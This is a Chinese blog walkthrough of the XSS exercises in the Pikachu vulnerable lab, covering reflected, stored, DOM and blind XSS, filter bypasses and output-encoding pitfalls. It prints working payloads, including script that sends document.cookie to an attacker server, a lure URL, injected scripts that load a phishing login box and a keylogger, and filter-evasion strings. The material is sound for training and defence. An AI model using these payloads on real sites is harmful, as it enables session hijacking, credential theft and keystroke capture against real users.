Cross-Site Scripting-跨站脚本攻击

反射型 get

pikachu Cross-Site Scripting 反射型 xss(GET)

  1. 先输入'"<>666 用于测试我们的输入会不会被过滤以及我们的输入会不会被输出,输出会不会被处理,因为有特殊字符

输入被原封不动地输出到了 p 标签中

  1. 测试 js 语句会不会正常执行 <script>alert("hello")</script> 。(长度问题 f12修改下即可)

GET型的XSS漏洞,一般将带有XSS的URL伪装后发送给目标即可。

获取cookie

流程如下:

pikachu Cross-Site Scripting 反射型 xss(get)

攻击机/服务器:192.168.200.131

受害者:192.168.200.128

  1. 修改/pikachu/pkxss/xcookie下的cookie.php,将IP地址改为漏洞服务器的地址

  1. cookie.php用于接收受害者的cookie,然后将页面重定向到漏洞服务器的index页面,我们构造的Payload如下
<script>document.location = 'http://192.168.200.131/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

当用户提交时

攻击者就可以获取到 cookie

  1. 由于是GET类型的XSS漏洞,还可以直接构造带有Payload的URL,诱使受害者点击就能取得Cookie(使用时注意编码)
http://192.168.200.131/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.200.131%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

反射型 post

由于是POST的方式提交的,参数内容不会出现在URL中,所以不能直接把我们的恶意代码嵌入到URL中。

攻击思路如下:

我们需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击这个POST表单。表单自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。

pikachu Cross-Site Scripting 反射型 xss(post)

攻击机/服务器:192.168.200.131

受害者:192.168.200.128

  1. 修改 post.html 如下,第一个ip为 漏洞服务器地址,第二个为 攻击者 cookie后台地址,构造的 payload 如下:
<script>document.location = 'http://192.168.200.131/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面

  1. 受害者登录: http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php (test/abc123)

  1. 只需要诱导受害者点击链接登录 http://192.168.200.131/pikachu/pkxss/xcookie/post.html ,就可以成功获取到 cookie

存储型_钓鱼

我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。

pikachu Cross-Site Scripting 存储型 xss

攻击机/服务器:192.168.200.131

受害者:192.168.200.128

  1. 攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框修改pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址

  1. 构造的payload 如下,将这个payload 以留言的形式插入
<script src="http://192.168.200.131/pikachu/pkxss/xfish/fish.php"></script> 

  1. 当用户访问这个留言板时,会出现下面的认证框,有的安全意识不强的会输入用户名和密码。

  1. 但是服务器这里一直没有收到,是因为攻击机的pikachu 使用 phpstusy 搭建的,运行的 CGI模式。PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。

Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证 - FreeBuf网络安全行业门户

这里最简单的方法还是使用 kali 来搭建 pikachu 的攻击端。

键盘记录

pikachu Cross-Site Scripting 存储型 xss

攻击机/服务器:192.168.200.131

受害者:192.168.200.128

实验之前先了解下跨域:

跨域

当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域。我们把不同域之间请求数据的操作,称为跨域操作

跨域-同源策略

为了安全考虑,所有的浏览器都约定了同源策略。同源策略规定:

两个不同域之间不能使用JS进行互相操作。

比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象, 如果想要跨域操作,则需要管理员进行特殊配置。比如通过头里面:

header("Access-Control-Allow-Origin:x/com") 

指定跨域的地址。

下面的标签跨域加载资源(资源类型有限制)是不受同源策略限制

<script src="...">    JS加载到本地执行
<img src="..">        图片
<link href="..">      CSS
<iframe src="..">     任意资源

实验

  1. 修改 pikachu/pkxss/rkeypressrk.js 中的IP地址为攻击者地址

rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用,这个文件可以记录用户的键盘操作,然后异步发送给攻击者。但是这个违背了同源策略,因为我们攻击者的机器和用户主机是不一样的。AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的。

但是配置文件中已经设置好了允许跨域访问,我们注释掉看看

  1. payload,插入有xss 漏洞的地方
<script src="http://192.168.200.131/pikachu/pkxss/rkeypress/rk.js"></script>

将代码插入到存储型 xss 后,在留言板输入点东西,发现界面请求失败。控制台则提示已拦截跨域请求,因为头部缺少 Access-Control-Allow-Origin

  1. 将注释去掉,即可正常获取键盘记录的内容了

dom型xss

  1. 在搜索框输入 '"<>?&123 测试 发现输入和输出有区别

  1. 查看源代码

它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

我们通过闭合的方式构造Payload。如:

payload1: 
#' οnclick=alert("haha")> 
闭合后:<a href='#' οnclick="alert("haha")">'>what do you see?</a> 
payload2: 
'><img src="#" οnmοuseοver="alert('haha')"> 
闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a> 
payload3: 
' οnclick="alert('haha')"> 
闭合后:<a href οnclick="alert('haha')"> >'what do you see?</a>
  1. 成功弹框

xss 盲打

XSS盲打不是攻击类型,而是一个攻击场景

  1. 我们输入的内容不会在前端输出,而是提交到了后台,管理员可能会去看。 如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出

那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容

  1. 登录管理员后台 http://localhost/pikachu/vul/xss/xssblind/admin_login.php (密码admin/123456)查看留言,就触发了 xss

xss 过滤

pikachu xss靶场 xss之过滤

绕过姿势

实际中的系统,或多或少都会做一些安全措施,有的安全措施逻辑不严谨,也可以被绕过。常见方法有:

  1. 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  2. 大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
  3. 双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
  4. 注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
  5. 编码,后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤。编码应该在输出点被正常识别和翻译,不能随便使用编码(url编码不被识别,而html 编码可以被识别)

测试

输入<script>'"<>123' 发现 <script> 被过滤了

使用几种基本绕过姿势都可以绕过:

<sCriPt>alert('hello')</ScripT>          # 大小写

xss 之 htmlspecialchars

htmlspecialchars() 函数是PHP里面把预定义的字符转换为HTML实体的函数,预定义的字符是:

&   → &amp
"   → &quot
'   → &#039
<   → &lt
>   → &gt

语法:

$value = htmlspecialchars($_GET['value'], ENT_COMPAT); 

# 第2个参数规定了如何处理引号
ENT_COMPAT   # 默认,仅对双引号进行编码
ENT_QUOTES   # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号
  1. pikachu 中输入字符 '"<>123#? 测试

  1. 查看源代码发现我们的输入已经被编码,但是 单引号 ' 并没有被编码

  1. 所以可以构造一下payload,在Payload前后都添加一个单引号用于闭合 href 中的单引号。构造完需要点击一下才能触发
payload1: 
#' οnclick=alert('123') '
闭合后:<a href="#" οnclick="alert('jwt')" ''>#' οnclick=alert('jwt') '</a> 

payload2: 
#' οnclick='alert(123) 
闭合后:<a href="#" οnclick="alert(1399)">#' οnclick='alert(1399)</a>

XSS 之 href 输出

  1. 先看下源代码,代码接收我们的输入的 message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理。这个函数转义 '><"。然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS。

  1. 构造Payload如下,没有上面被转义的字符
javascript:alert(123)

  1. 可以成功执行

如果要对 href 做处理,一般有两个逻辑:

  1. 输入的时候只允许 http 或 https 开头的协议,才允许输出
  2. 其次再进行htmlspecialchars处理

xss 之 js输出

  1. 随便输入点东西查看网页源代码

它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出

  1. 我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码
'</script><script>alert('123')</script>

  1. 闭合后的代码

  1. 这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码。JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话在JS中不会把它解释,这样解决了XSS问题,但不能构成合法的JS。所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义。

本文版权归作者和CSDN平台共有,重在学习交流,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值